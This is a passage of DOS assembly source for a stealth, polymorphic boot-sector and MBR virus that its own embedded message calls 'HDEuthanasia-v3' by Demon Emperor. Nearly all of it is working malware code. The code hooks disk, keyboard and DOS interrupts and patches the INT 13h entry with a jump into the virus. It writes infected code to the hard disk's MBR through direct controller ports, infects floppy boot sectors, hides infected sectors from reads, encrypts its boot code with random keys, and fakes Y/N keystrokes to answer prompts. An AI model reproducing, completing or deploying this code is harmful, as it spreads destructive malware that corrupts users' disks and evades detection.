Boot_Loop: JL LOC_190 ; Jump if <
Encr_Boot:
STI
INT 12h
SUB AX, 9 ; Reserve our memory.
MOV CL, 6 ; Convert to segment-address.
SHL AX, CL
MOV ES, AX
MOV AH, 08h ; Get disk drive parameters.
MOV DL, 80h
INT 13h
INC CH
DEC DH
SUB CL, 10h
MOV DL, 80h
MOV AX, 0211h ; Read virusbody from disk.
XOR BX, BX
INT 13h
PUSH ES
MOV AX, OFFSET Reloc_Boot
PUSH AX
RETF
Traced_Int13h DW 0, 0
Reloc_Boot:
PUSH DS ; ES = 0.
POP ES
PUSH CS
POP DS
MOV DI, 7C00h
PUSH ES
PUSH DI
MOV SI, 2000h
CLD
MOV CX, 512
REP MOVSB
CALL Botty
STI
RETF
SUB_49:
MOV Poly_Sector, 00h
PUSH BX
CLD
CALL Get_Ran_3
MOV AH, Mov_Ptr[BX]
MOV BYTE PTR Boot_Ptr, AH
MOV AH, Inc_Ptr[BX]
MOV BYTE PTR Change_Ptr, AH
MOV DL, BL
ADD BL, 03h
CMP BL, 03h
JNE LOC_191
SUB BL,2
LOC_191:
MOV DATA_94,BL
LOC_192:
CALL Get_Random_Poly
NOT AX
AND AL, 07h
MOV BL, AL
SHR AL, 01h
CMP DATA_94, AL
JE LOC_192
MOV DATA_95, BL
MOV AH, DATA_110[BX]
MOV BYTE PTR Init_Boot_Key, AH
MOV AH, DATA_115[BX]
MOV BYTE PTR Change_Key+1, AH
SHL DL, 03h
ADD BL, DL
MOV AH, DATA_111[BX]
MOV byte ptr Screw1+1, AH
CALL Get_Random_Poly
MOV BL, AH
AND BX, 03h
MOV AH, DATA_117[BX]
MOV BYTE PTR Boot_Loop, AH
CALL Get_Ran_3
MOV AL, Encr_Methods[BX]
MOV AH, 0E0h
MOV WORD PTR Bozo, AX
XOR BL, 03h
MOV AL, Encr_Methods[BX]
MOV byte ptr Screw1, AL
LOC_193:
CALL Get_Random_Poly
OR AH, 10000000b
CMP AH, 0D8h
JAE LOC_193
POP BX
PUSH BX
PUSH AX
MOV BH, 00h
MOV Boot_Key, AH
MOV SI, 1409h
MOV DI, OFFSET Buffer
MOV Start_Encr, 7C16h
CMP BL, 02h
JNE LOC_194
MOV DI,1EA8h
MOV Start_Encr, 7C54h
LOC_194:
CALL Get_Random_Poly
AND AX, 03h
XCHG BX, AX
MOV AL, DATA_119[BX]
MOV [SI+2], AL
MOV AL, 0D0h
ADD AL, BL
MOV [SI+4], AL
MOVSW
MOVSW
MOVSW
MOVSW
MOV DH, BL
XOR CX, CX
CALL SUB_50
CALL Get_Random_Poly
OR AX, AX
JP LOC_195 ; Jump if parity=1
MOV AX,[SI]
ADD SI, 02h
OR Flags, 00001000b
MOVSW
MOVSB
STOSW
JMP LOC_196
LOC_195:
MOVSW
MOVSW
MOVSB
LOC_196:
CALL SUB_51
MOVSW ; Mov [si] to es:[di]
MOV DATA_93, 0FFh
CALL SUB_27
CALL SUB_52
LODSW ; String [si] to ax
SUB AH, CL
STOSW
SUB CL, CH
MOV AL, CH
TEST Flags, 00001000b
JZ LOC_197
ADD AL, 02h
LOC_197:
AND Flags, 0F7h
CBW ; Convrt byte to word
MOV SI, 1E77h
SUB SI, AX
MOV AX, CX
POP CX
POP BX
PUSH CX
CMP BL, 02h
JNE LOC_198
ADD SI, 3Eh
LOC_198:
CBW ; Convrt byte to word
ADD [SI],AX
POP AX
MOV CX,1FH
MOV SI,1DEFH
CMP BL, 02h
JE LOCLOOP_199
CMP BL, 01h
JNE LOC_RET_200
MOV CX, 28h
MOV SI, 141Fh
LOCLOOP_199:
LODSB ; String [si] to al
Bozo:
;* ADD AL,AH
DB 00H,0E0H ; Fixup - byte match
INC AH
STOSB ; Store al to es:[di]
LOOP LOCLOOP_199
CALL Get_Random_Poly
NOT AX
MOV Drew1, AX
ADD AX, 0CCFFh
MOV Drew2, AX
LOC_RET_200:
RETN
SUB_50:
ADD SI, 02h
CALL Get_Random_Poly
NOT AX
AND AL, 03h
MOV BL, AL
MOV DL, [BX+Overrides]
CMP AL, 01h
JE LOC_203
CMP AL, 03h
JE LOC_203
SHR BL, 01h
MOV AL, 06h
MUL BL ; ax = reg * al
MOV BX, AX
LOC_201:
CALL Get_Random_Poly
AND AH, 03h ; 0 - 3.
CMP AH, 03h ; 0, 1, 2
JE LOC_201
SHL AH, 1 ; MUL 2.
ADD BL, AH
MOV AX, DATA_118[BX]
CMP AL, 16h
JE LOC_203
CMP AL, 50h
JNE LOC_202
ADD AL, DH
STOSW
RETN
LOC_202:
ADD AH, DH
STOSW
RETN
LOC_203:
MOV CH, 02h
RETN
SUB_51:
CMP DL, 3Eh
JE LOC_RET_204
MOV AL, DL
STOSB
ADD CL, 01h
LOC_RET_204:
RETN
SUB_52:
CALL Get_Random_Poly
NOT AX
ADD AL,AH
CMP AL, 85
JB LOC_206
ADD SI, 02h
ADD CL, 01h
MOV BL, DATA_95
CMP AL, 0AAh
JB LOC_205
MOV AL, 80h
MOV AH, DATA_115[BX]
STOSW
MOV AL, 01h
STOSB
RETN
LOC_205:
MOV AL, 80h
MOV AH, DATA_116[BX]
STOSW
MOV AL, 0FFh
STOSB
RETN
LOC_206:
MOVSW ; Mov [si] to es:[di]
RETN
Encrypt_Boot:
PUSHF
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH SI
CLD
MOV DX, BX
MOV DI, DX
MOV AX, 'ef'
MOV BX, 7463h
MOV CX, 200h ; 1024 bytes.
LOCLOOP_207:
SCASW ; Scan es:[di] for ax
JNZ LOC_208
XCHG BX, AX
SCASW ; Scan es:[di] for ax
JZ LOC_209
XCHG BX, AX
SUB DI, 02h
LOC_208:
DEC DI
LOOP LOCLOOP_207
JMP LOC_215
LOC_209:
MOV AX, 4Eh
LOC_210:
MOV CX, 200h
MOV DI, DX
MOV SI, 0Ch
LOCLOOP_211:
SCASW ; Scan es:[di] for ax
JNZ LOC_212
ADD ES:[DI-2], SI
LOC_212:
DEC DI
LOOP LOCLOOP_211
DEC AX
DEC AX
CMP AX, 4Ch
JE LOC_210
MOV DI, DX
MOV CX, 1C0h
MOV AX, 280h
LOCLOOP_213:
SCASW ; Scan es:[di] for ax
JC LOC_214
DEC DI
DEC DI
PUSH AX
DEC AX
DEC AX
SCASW ; Scan es:[di] for ax
POP AX
JA LOC_214
SUB ES:[DI-2],SI
LOC_214:
DEC DI
LOOP LOCLOOP_213
LOC_215:
POP SI
POP DI
POP DX
POP CX
POP BX
POP AX
POPF
RETN
SUB_54:
MOV AX, 0201h ; Read MBR of 1st harddisk.
MOV BX, OFFSET Buffer
XOR CX, CX
MOV DS, CX
PUSH CS
POP ES
INC CX ; MBR.
MOV DX, 80h
INT 13h
MOV DI, OFFSET Drew3
MOV SI, DATA_25E
MOV CL, 40h
REP MOVSB
INC CX
PUSH CS
POP DS
MOV AX, 0301h
MOV DATA_138, CH
CALL Infect_Exec3
RETN
DATA_138 DB 0
SUB_55:
PUSH AX
PUSH BX
PUSH DX
MOV AX, 0201h ; Read MBR of 1st harddisk.
MOV BX, OFFSET Buffer
PUSH CS
POP ES
MOV CX, 01h
MOV DX, 80h
CALL Traced_i13h
MOV DI, OFFSET Drew3
MOV CL, 40h
REP STOSB
INC CX
MOV AX, 0301h
CALL Infect_Exec3
POP DX
POP BX
POP AX
RETN
Botty:
CALL SUB_54
CALL SUB_4
XOR AX, AX
MOV DS, AX
MOV SI, 1Ch * 4
MOV DI, OFFSET Int1Ch
MOVSW
MOVSW
MOV SI, 21h * 4
MOV DI, OFFSET Int13h
MOVSW
MOVSW
INT 12h ; Save total DOS-memory.
MOV CS:Dos_Mem, AX ; Save it.
SUB WORD PTR DS:[413h], 9 ; Subtract our needs.
NOP
MOV BYTE PTR CS:DATA_77, 02h
CLI ; Hook INT 1Ch (timer).
MOV DS:[1Ch * 4 + 2], CS
MOV DS:[1Ch * 4], OFFSET NewInt1Ch
STI
CALL Check_Poly_Sector
RETN
NewInt1Ch:
PUSH AX
PUSH DS
PUSH ES
PUSH SI
PUSH DI
XOR AX, AX
MOV DS, AX
MOV SI, 21h * 4
PUSH CS
POP ES
MOV DI, OFFSET Int13h
CLD
CMPSW ; Cmp [si] to es:[di]
JZ LOC_216
MOV AL, 01h
LOC_216:
CMPSW ; Cmp [si] to es:[di]
JZ LOC_217
MOV AH, 01h
LOC_217:
OR AX, AX
JZ LOC_218
SUB SI,4
SUB DI,4
MOVSW
MOVSW
DEC BYTE PTR ES:DATA_77
JNZ LOC_218
MOV DI, OFFSET Traced_Int13h
MOV SI, 13h * 4
MOVSW
MOVSW
MOV DI, OFFSET Int13h
MOV SI, 13h * 4
MOVSW
MOVSW
MOV DI, OFFSET Traced_Int21h
MOV SI, 21h * 4
MOVSW
MOVSW
MOV DS:[1Ch * 4], OFFSET Int1Ch_Di
LOC_218:
POP DI
POP SI
POP ES
POP DS
POP AX
Exit_Int1Ch: JMP DWORD PTR CS:Int1Ch
Int1Ch_Di:
PUSH AX
PUSH DS
PUSH DI
XOR AX, AX
MOV DS, AX
MOV DS, DS:[22h * 4 + 2] ; Get 1st instruction of
MOV AX, DS:[0] ; INT 22h(terminate address).
CMP AX, 20CDh ; INT 20h?
JNE LOC_220
XOR AX, AX
MOV DS, AX
MOV AX, CS:Dos_Mem ; Put back old value.
MOV DS:[413h], AX
MOV AX, CS:Int1Ch ; Restore original INT 1Ch.
MOV DS:[1Ch * 4], AX
MOV AX, CS:Int1Ch+2
MOV DS:[1Ch * 4 + 2], AX
MOV AX, DS:[21h * 4] ; Save INT 21h.
MOV CS:Int21h,AX
MOV AX, DS:[21h * 4 + 2]
MOV CS:Int21h+2,AX
MOV AX, DS:[28h * 4] ; Save INT 28h.
MOV CS:Int28h, AX
MOV AX, DS:[28h * 4 + 2]
MOV CS:Int28h+2, AX
MOV DS:[28h * 4], OFFSET NewInt28h ; Hook INT 28h.
MOV DS:[28h * 4 + 2], CS
MOV DS:[21h * 4], OFFSET NewInt21h ; Hook INT 21h.
MOV DS:[21h * 4 + 2], CS
PUSH SI
PUSH ES
CALL Slice_Int13h
CALL Insert_Slice
POP ES
POP SI
LOC_220:
POP DI
POP DS
POP AX
JMP Exit_Int1Ch
NewInt28h:
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH DS
PUSH DI
PUSH SI
TEST CS:DATA_138, 10000000b
JNZ LOC_221
OR CS:DATA_138, 10000000b
CLD
PUSH CS
POP DS
CALL Unslice_Int13h
CALL Infect_Harddisk
CALL SUB_55
CALL Insert_Slice
LOC_221:
CALL SUB_56
CALL SUB_57
POP SI
POP DI
POP DS
POP ES
POP DX
POP CX
POP BX
POP AX
DB 0EAh ; JMP FAR opcode.
Int28h DW 0, 0
SUB_56:
MOV AX,160Ah ; Identify Windows version
INT 2Fh ; and type.
OR AX, AX ; Valid function?
JNZ LOC_223
CMP BH, 04h ; Windows 95/NT ?
JB LOC_223 ; Else abort function.
OR CS:Flags, 00000100b
MOV AX, 5445h ; INT 13h residency-check.
INT 13h
CMP AX, 4554h ; Have we hooked INT 13h?
JE LOC_RET_222
OR CS:DATA_138, 00000010b
MOV AX, 3513h ; Get address INT 13h.
INT 21h
MOV CS:Traced_Int13h, BX ; Save address INT 13h.
MOV CS:Traced_Int13h+2, ES
XOR AX, AX
MOV DS, AX
MOV DS:[13h * 4], OFFSET NewInt13h
MOV DS:[13h * 4 + 2], CS
LOC_RET_222:
RETN
LOC_223:
AND CS:Flags, 11111011b
AND CS:DATA_138, 11111100b
RETN
SUB_57:
TEST CS:Flags, 00000100b
JNZ LOC_RET_224
MOV AX, 5445h ; INT 13h hooked already?
INT 13h
CMP AX, 4554H
JE LOC_RET_224
MOV AX, CS:Int13h
MOV CS:Traced_Int13h, AX
MOV AX, CS:Int13h+2
MOV CS:Traced_Int13h+2, AX
AND CS:DATA_138, 0FCh
CALL Slice_Int13h
CALL Insert_Slice
LOC_RET_224:
RETN
Traced_i13h:
PUSHF
CALL DWORD PTR CS:Traced_Int13h
RETN
NewInt16h:
CMP AH, 01h ; Read keyboard-status?
JA JMP_Int16h
CMP AH, 01h ; Read keyboard-status?
JE LOC_225
CALL Infect_Exec1
CALL OldInt16h ; Execute function.
CALL Get_Proceed_Char
MOV BYTE PTR CS:Dum2, 02h
RETF 2 ; Return to caller.
LOC_225:
DEC BYTE PTR CS:[18EDH]
JNZ JMP_Int16h
MOV BYTE PTR CS:[18EDH], 5
PUSH AX
PUSH CX
CALL Get_Proceed_Char
MOV CX, AX
MOV AH, 05h
INT 16h ; Keyboard i/o ah=function 05h
; stuff key cx into keybd buffr
POP CX
POP AX
CALL OldInt16h
RETF 2 ; Return far
JMP_Int16h:
DB 0EAh ; JMP to original handler.
Int16h DW 0, 0
Dum3 DB 04h
Dum1 DW 0
Dum2 DB 02h
OldInt16h:
PUSHF
CALL DWORD PTR CS:Int16h
RETN
;fuck
Proceed_Key DW 1559h ; Y
DW 314Eh ; N
DW 314Eh ; N
DW 314Eh ; N
DW 1559h ; Y
DW 1559h ; Y
DW 314Eh ; N
DW 1559h ; Y
Get_Proceed_Char:
PUSH DI
MOV DI, CS:Dum1
MOV AL, CS:Dum2
CBW
ADD DI, AX
MOV AX, CS:Proceed_Key[DI]
POP DI
RETN
Infect_Exec1:
PUSH AX
PUSH CX
MOV AH, 01h ; Read keyboard-status.
CALL OldInt16h
JZ LOC_227
XCHG CX, AX
CALL Get_Proceed_Char
CMP AX, CX
JE LOC_228
PUSH DS
XOR AX, AX
MOV DS, AX
MOV AX, DS:[41Ah] ; Address BASIC errorhandler.
MOV DS:[41Ch], AX ; Mink (?).
POP DS
LOC_227:
CALL Get_Proceed_Char
MOV CX, AX ; Write to keyboard-buffer.
MOV AH, 05h
INT 16h
LOC_228:
POP CX
POP AX
RETN
Infect_Exec2:
PARAMETER_1 = 4 ; BP+4
PARAMETER_2 = 6 ; BP+6
PARAMETER_3 = 8 ; BP+8
PARAMETER_4 = 0AH ; BP+0AH
PUSH BP
MOV BP, SP
MOV Trace_Function, 0 ; Function: Reset disk.
MOV First_MCB, 71h
MOV Fake_PUSHF, 00h
MOV Trace_Done, 01h
MOV AX, 3513h ; Get INT 13h.
INT 21h
MOV Trace_Int, BX
MOV Trace_Int+2, ES
CALL Tracer
CLD ; Replace INT 13h address
MOV SI, OFFSET Trace_Int ; with traced address.
MOV DI, OFFSET Traced_Int13h
MOVSW
MOVSW
MOV AX, 440Dh
MOV BX, 180h
MOV CX, 84Bh
INT 21h ; DOS Services ah=function 44h
; IOctl-D block device control
; bl=drive, cx=category/type
; ds:dx ptr to parameter block
MOV AX, 3516h ; Get INT 16h.
INT 21h
MOV Int16h, BX ; Save address INT 16h.
MOV Int16h+2, ES
MOV Dum3, 05h
MOV Dum1, 0
MOV DX, OFFSET NewInt16h
MOV AX, 2516h ; Hook INT 16h (keyboard).
INT 21h
PUSH CS
POP ES
MOV BX, [BP+PARAMETER_3]
MOV CX, [BP+PARAMETER_2]
MOV DX, [BP+PARAMETER_1]
LOC_229:
MOV AX, [BP+PARAMETER_4]
CALL Traced_i13h
JNC LOC_230
MOV AX, Dum1
ADD AL, 04h
MOV Dum1, AX
MOV Dum2, 00h
CMP AL, 0Ch
JBE LOC_229
STC
LOC_230:
PUSHF
PUSH DS
LDS DX, DWORD PTR Int16h
MOV AX, 2516h ; Restore original INT 16h.
INT 21h
POP DS
POPF
POP BP
RETN 8
Infect_Exec3:
CALL Infect_Exec6
JC LOC_232
JMP LOC_233
LOC_231:
POP ES
POP DX
POP CX
POP BX
POP AX
LOC_232:
CALL Traced_i13h
JMP LOC_RET_236
LOC_233:
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH ES
MOV DI, 04h
LOC_234:
MOV SI, BX
DEC DI
JZ LOC_231
MOV AH, 00h ; Reset 1st harddisk.
MOV DL, 80h
INT 13h
XOR AX, AX
MOV ES, AX
MOV ES:48Eh, AL
CLD
MOV DX, 3F6h
MOV AL, 04h
OUT DX, AL ; Reset controller.
JMP $+2 ; Delay for I/O.
JMP $+2
MOV AL, 0
OUT DX, AL ; al = 0, hdsk0 register
CALL Wait_Ready
MOV DX, 1F2h ; Sector count.
MOV AL, 01h ; 1 sector.
OUT DX, AL
JMP $+2
JMP $+2
INC DX
MOV AL, 01h ; Sector: MBR.
OUT DX, AL
JMP $+2
JMP $+2
INC DX
MOV AL, 0
OUT DX, AL ; Cylinder lo.
JMP $+2
JMP $+2
INC DX
MOV AL, 0
OUT DX, AL ; Cylinder hi.
JMP $+2
JMP $+2
INC DX
MOV AL, 10100000b
OUT DX, AL ; 1st harddisk, head zero.
JMP $+2 ; Delay for I/O.
JMP $+2
INC DX
MOV AL, 31h
OUT DX, AL ; Write sectors without retry.
CALL Wait_Servicing
MOV CX, 256
MOV DX, 1F0h ; Data-register.
DB 0F3h, 6Fh ; REP OUTSW, (286+).
LOC_235:
MOV AL, ES:48Eh
OR AL, AL
JZ LOC_235
CALL Wait_Ready
TEST AL, 00100001b ; Write fault?
JNZ LOC_234
POP ES
POP DX
POP CX
POP BX
POP AX
LOC_RET_236:
RETN
Wait_Ready:
MOV DX, 1F7h
Not_Ready:
IN AL, DX ; Get status-register.
TEST AL, 10000000b ; Controller executing
JNZ Not_Ready ; command?
RETN
Wait_Servicing:
CALL Wait_Ready
TEST AL, 00001000b ; Disk buffer requires
JZ Wait_Servicing ; servicing?
RETN
; Sets CF
Infect_Exec6:
PUSH AX
PUSH BX
MOV AX, SP
PUSH SP
POP BX
STC
PUSHF
CMP AX, BX
JNE LOC_239
MOV AL, 12h
CALL Infect_Exec7
POPF
CLC
PUSHF
AND AH, 11110000b
CMP AH, 00010000b
JA LOC_239
POPF
STC
PUSHF
LOC_239:
POPF
POP BX
POP AX
RETN
Infect_Exec7:
PUSH BX
MOV BL, AL
OR AL, 80h
CLI
OUT 70h, AL ; Port 70h, CMOS addr,bit7=NMI
; AL = 92h, hard disk type.
JMP $+2 ; Delay for I/O.
JMP $+2
IN AL, 71h ; Port 71H, CMOS data.
MOV AH, AL
XOR AL, AL
JMP $+2
JMP $+2
OUT 70h, AL ; Port 70h, CMOS addr,bit7=NMI
; AL = 0, seconds register
STI
MOV AL, BL
POP BX
RETN
Entry_Bytes DB 5 DUP(0) ; Original first 5 bytes of INT 13h
; entrypoint which are overwritten
; with a JMP FAR to our handler.
;
; Copies the first five bytes of INT 13h to a temp variable.
;
Slice_Int13h:
PUSH CS
POP ES
MOV DI, OFFSET Entry_Bytes
LDS SI, DWORD PTR ES:Traced_Int13h
CLD
MOVSW
MOVSW
MOVSB
RETN
;
; Overwrites the entrypoint of INT 13h with a JMP FAR to our INT 13h handler.
;
;
Insert_Slice:
PUSH DS
PUSH SI
PUSH AX
PUSHF
TEST CS:DATA_138, 00000010b ; Init INT 13h ?
JNZ LOC_240
LDS SI, DWORD PTR CS:Traced_Int13h
; Overwrite with JMP FAR [viruscode].
MOV BYTE PTR [SI], 0EAh
MOV WORD PTR [SI+1], OFFSET NewInt13h
MOV WORD PTR [SI+3], CS
LOC_240:
POPF
POP AX
POP SI
POP DS
RETN
Unslice_Int13h:
PUSHF
PUSH CX
PUSH DI
PUSH SI
PUSH DS
PUSH ES
PUSH CS
POP DS
TEST DATA_138, 00000010b ; INT 13h hooked already?
JNZ LOC_241
CLI
MOV SI, OFFSET Entry_Bytes
LES DI, DWORD PTR Traced_Int13h
CLD ; Copy
MOV CX, 5
REP MOVSB
LOC_241:
STI
POP ES
POP DS
POP SI
POP DI
POP CX
POPF
RETN
Int13h DW 0, 0
DATA_150 DW 0BDBFh
Dos_Mem DW 0
DATA_152 DB 0
Function_i13h DB 0
DATA_154 DB 0
DB 0
Exec_Int13h:
POPF
MOV CS:Function_i13h, AH ; Save function #.
CALL Traced_i13h
PUSHF
OR AH, AH
JZ LOC_243
JMP LOC_255
LOC_243:
MOV CS:Function_i13h,0
POPF
CALL Insert_Slice
RETF 2
NewInt13h:
PUSHF
CMP AX, 5445h ; Residency-check?
JNE Check_Next_2
MOV AX, 4554h ; Our sign.
POPF
RETF 2 ; Return to caller.
Check_Next_2:
CALL Unslice_Int13h
CMP DX, 80h ; Head zero of 1st harddisk?
JNE LOC_245
CMP CX, 01h ; MBR?
JNE LOC_245
CMP AH, 03h ; Doing a write?
JA LOC_245
CMP AH, 02h ; Doing a read?
JB LOC_245
POPF
JMP LOC_249
NOP
LOC_245:
CMP DL, 80h
JNB LOC_247
CMP AH, 16h
JNE LOC_246
JMP Exec_Int13h
LOC_246:
CMP AH, 05h
JAE LOC_247
CMP AH, 01h
JBE LOC_247
JMP LOC_255
LOC_247:
CMP DL, 80h
JNE LOC_248
CMP CS:DATA_150, CX
JNE LOC_248
AND CH, 02h
LOC_248:
POPF
CALL Traced_i13h
CALL Insert_Slice
RETF 2
LOC_249:
PUSH BX
PUSH CX
PUSH DX
PUSH ES
CMP AH, 02h
JE LOC_250
JMP LOC_251
LOC_250:
CALL Traced_i13h ; Execute function.
PUSHF
PUSH AX
PUSH BX
MOV AH, 08h ; Get disk drive parameters.
MOV DL, 80h
CALL Traced_i13h
INC CH
DEC DH
MOV DL, 80h
MOV AX, 0201h ; Read stored bootsector (?)
POP BX
CALL Traced_i13h
POP AX
POPF
JMP LOC_253
LOC_251:
PUSH DS
PUSH DI
PUSH SI
PUSH AX
DEC AL
PUSH ES
PUSH BX
JZ LOC_252
ADD BX, 200h
INC CL
CALL Traced_i13h
DEC CL
LOC_252:
MOV AH, 08h
MOV DL, 80h
CALL Traced_i13h
POP BX
POP ES
INC CH
DEC DH
MOV DL, 80h
MOV AX, 0301h
CALL Encrypt_Boot
CALL Traced_i13h
MOV BX,AX
POP AX
MOV AL,BL
POP SI
POP DI
POP DS
LOC_253:
POP ES
POP DX
POP CX
POP BX
CALL Insert_Slice
RETF 2
LOC_254:
JMP LOC_260
LOC_255:
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH DS
PUSH SI
PUSH DI
XOR AX, AX
MOV DS, AX
XOR CH, CH
MOV CL, DL
INC AL
SHL AL, CL
CMP CS:Function_i13h, 00h
JNE LOC_256
TEST AL, byte ptr Gaby1
JNZ LOC_254
LOC_256:
PUSH CS
POP DS
PUSH DS
POP ES
MOV CL, 4 ; Multiplied by 16.
SHL AL, CL
MOV DATA_152, AL
MOV SI,3
LOC_257:
XOR AX, AX ; Reset disk.
CALL Traced_i13h
MOV AX, 0201h ; Read bootsector
MOV CX, 01h
MOV DH, CH
MOV BX, OFFSET Buffer
CALL Traced_i13h
JNC LOC_258
DEC SI
JZ LOC_254
JMP LOC_257
LOC_258:
MOV AX, Drew2
SUB AX, Drew1
CMP AX, 0CCFFh
JE LOC_254
CALL SUB_71
CALL SUB_72
JNC LOC_259
MOV AX, 0401h ; Verify bootsector/MBR.
XOR CX, CX
INC CX
MOV DH, CH
CALL Traced_i13h
JMP LOC_260
LOC_259:
XOR BX, BX
MOV CL, 01h
MOV AX, 0310h
CALL Traced_i13h
JC LOC_260
MOV BX, OFFSET Buffer
MOV CL, 11h
MOV AX, 0301h
CALL Traced_i13h
JC LOC_260
MOV BL, 02h
PUSH DX
CALL SUB_49
POP DX
MOV CX, 01h
XOR DH, DH
MOV BX, OFFSET Buffer
MOV BYTE PTR DS:[Buffer], 0EBh ; JMP viruscode in MBR.
MOV BYTE PTR DS:[Buffer+1], 3Ch
MOV AX, 0301h
CALL Traced_i13h
LOC_260:
POP DI
POP SI
POP DS
POP ES
POP DX
POP CX
POP BX
POP AX
CMP CS:Function_i13h, 0
JE LOC_261
JMP LOC_243
LOC_261:
CMP DH, 00h
JNE LOC_262
CMP CX, 01h
JNE LOC_262
TEST CS:Flags, 00000100b
JNZ LOC_262
CMP AH, 02h
JE LOC_263
CMP AH, 03h
JE LOC_265
LOC_262:
JMP LOC_248
LOC_263:
POPF
CALL Traced_i13h
PUSHF
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH ES
JC LOC_264
MOV AX, ES:[BX+102h] ; Subtract 1st word from word.
SUB AX, ES:[BX+100h]
CMP AX, 0CCFFh ; Infected bootsector?
JNE LOC_264
MOV CH, 51h ; Cylinder 81.
MOV CL, 11h ; Sector 17.
MOV DH, 01h ; 1st head.
MOV AX, 0201h ; Read sector
CALL Traced_i13h
LOC_264:
POP ES
POP DX
POP CX
POP BX
POP AX
CALL Insert_Slice
POPF
RETF 2
LOC_265:
PUSH AX
PUSH BX
PUSH ES
PUSH CS
POP ES
MOV AX, 0201h
MOV BX, OFFSET Buffer
CALL Traced_i13h
POP ES
POP BX
POP AX
PUSH AX
DEC AL
JZ LOC_266
ADD BX, 200h
INC CL
CALL Traced_i13h
SUB BX, 200h
DEC CL
LOC_266:
PUSH DI
PUSH SI
PUSH DS
PUSH ES
PUSH BX
MOV AX, ES:[DI+102h] ; Subtract word from word.
SUB AX, ES:[DI+100h]
CMP AX, 0CCFFh ; Infected signature?
JNE LOC_267
MOV CH, 51h
MOV CL, 11h
MOV DH, 01h
MOV AX, 0301h
CALL Traced_i13h
PUSH ES
POP DS
PUSH CS
POP ES
MOV SI, BX
ADD SI, 03h
MOV DI, 1E6Ch+1
MOV CX, 59
REP MOVSB
MOV BX, OFFSET Buffer
LOC_267:
MOV DH, 00h
MOV CX, 01h
MOV AX, 0301h
CALL Traced_i13h
MOV CS:DATA_154,AH
POP BX
POP ES
POP DS
POP SI
POP DI
POP AX
MOV AH, CS:DATA_154
CALL Insert_Slice
POPF
RETF 2
SUB_71:
MOV AL, DS:1E7Eh+1
CMP AL,0FDH
JE LOC_268
MOV CH, 51h
JMP LOC_RET_269
LOC_268:
MOV CH,29h
LOC_RET_269:
RETN
SUB_72:
MOV DH, CH
MOV DATA_154, DL
XOR AX, AX
MOV ES, AX
LES DI, DWORD PTR ES:[1Eh * 4]
MOV AX, ES:[DI+3]
PUSH AX
MOV BYTE PTR ES:[DI+3], 02h
MOV BYTE PTR ES:[DI+4], 11h
PUSH CS
POP ES
MOV DI, OFFSET Drew4
CLD
MOV CX, 11h
MOV DL, 01h
LOCLOOP_270:
MOV AH, 01h
MOV AL, DH
STOSW
MOV AL, DL
MOV AH, 02h
STOSW
INC DL
LOOP LOCLOOP_270
MOV AX, 50FH
MOV CH, DH
MOV CL, 1
MOV DH, 1
MOV DL, DATA_154
MOV BX, 206AH
CALL Traced_i13h
PUSHF
MOV BYTE PTR Verify_Sectors+2, CH
XOR AX, AX
MOV ES, AX
LES DI, ES:[1Eh * 4]
POPF
POP AX
MOV ES:[DI+3],AX
PUSH CS
POP ES
RETN
LOC_271:
MOV BX, 0B50h
MOV ES, BX
XOR BX, BX
MOV AX, 1E0Eh
PUSH ES
PUSH AX
Verify_Sectors: MOV CX, 5101h
MOV AX, 0411h
MOV DX, 0100h
INT 13h ; Disk dl=drive a ah=func 04h
; verify sectors with mem es:bx
; al=#,ch=cyl,cl=sectr,dh=head
MOV AX, 0211h ; Read virusbody from disk.
INT 13h
JC LOC_271
RETF
STI
XOR AX, AX
MOV ES, AX
PUSH CS
POP DS
CLD
MOV DI, 7C00h
MOV SI, 2000h
MOV CX, 512
PUSH ES
PUSH DI
REP MOVSB
MOV Flags, AL ; Clear flags.
CALL Check_Poly_Sector
CALL Infect_Harddisk
RETF
Message DB '"HDEuthanasia-v3" by Demon Emperor:'
DB ' Hare Krsna, hare, hare...'
; (I sure hope 4U that ya never see this message during boot-up!).
Virus_End:
Buffer:
Marker DW 0
File_Mod512 DW 0
Byte_Pages DW 0
DW 0
Header_Size DW 0
DW 0
DW 0
Init_SS DW 0
Init_SP DW 0
DW 0
Init_IP DW 0
Init_CS DW 0
Reloc_Offs DW 0
DW 0
Undoc DW 0
Ruck DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
Drew1 DW 0
Drew2 DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
